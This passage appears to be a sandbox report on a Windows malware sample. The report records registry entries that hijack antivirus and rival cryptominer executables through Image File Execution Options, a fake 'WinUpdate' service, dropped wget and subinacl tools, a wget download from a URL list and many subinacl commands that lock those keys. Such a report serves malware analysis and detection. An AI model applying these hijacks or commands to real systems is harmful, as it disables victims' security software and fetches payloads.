[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winup.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mrolsmc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Search.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klvk.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mark.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NiceHashMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uistub.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ToolbarUpdaterService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPA.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPS.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchsot.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuapl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemNT.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Adguard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svnhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsmss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdcsc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\player.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\swdoctor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snmptrap.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdhelp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfc.exe] 'debugger' = 'fixmapi.exe'

Creates the following services

[<HKLM>\SYSTEM\CurrentControlSet\services\_wfcs] 'ImagePath' = 'WinUpdate'

Modifies file system

Creates the following files

<Current directory>\dedka.txt
<Current directory>\dedka.bat
<Current directory>\rer.bat
<Current directory>\subinacl.exe
<Current directory>\wget.exe
%WINDIR%\subinacl.exe

Moves the following files

from <Current directory>\subinacl.exe to %WINDIR%\subinacl.exe

Network activity

UDP

DNS ASK dr####.freewww.biz

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''

Creates and executes the following

'<Current directory>\wget.exe' -i dedka.txt --continue --no-check-certificate --no-dns-cache
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwwin.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econceal.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econser.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\elogsvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EmailSpider.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emlproxy.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointintegration.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /gran...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointservice.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EnterpriseConsole.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorCheck.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorsChecking.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanmon.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESERV.EXE" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esetonlinescanner_enu.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /gr...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESETPoweliksCleaner.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /gran...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esif.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ess.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explores.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeter.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\epag.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeterSvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.2.2.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssrs.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cureit.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcsrv.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\expmon.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DefenderDaemon.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop Locker.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dll32.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dr.Web.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DriverBooster.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DTLEP.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUB8.2.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop_Locker" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrcs.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefss.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hmac.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hostdl.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostedAgent.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hscangui.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMF.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFsrv.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFTips.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\indexer.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ingloca.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InjectWinSockServiceV3.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /g...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hkcmd.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
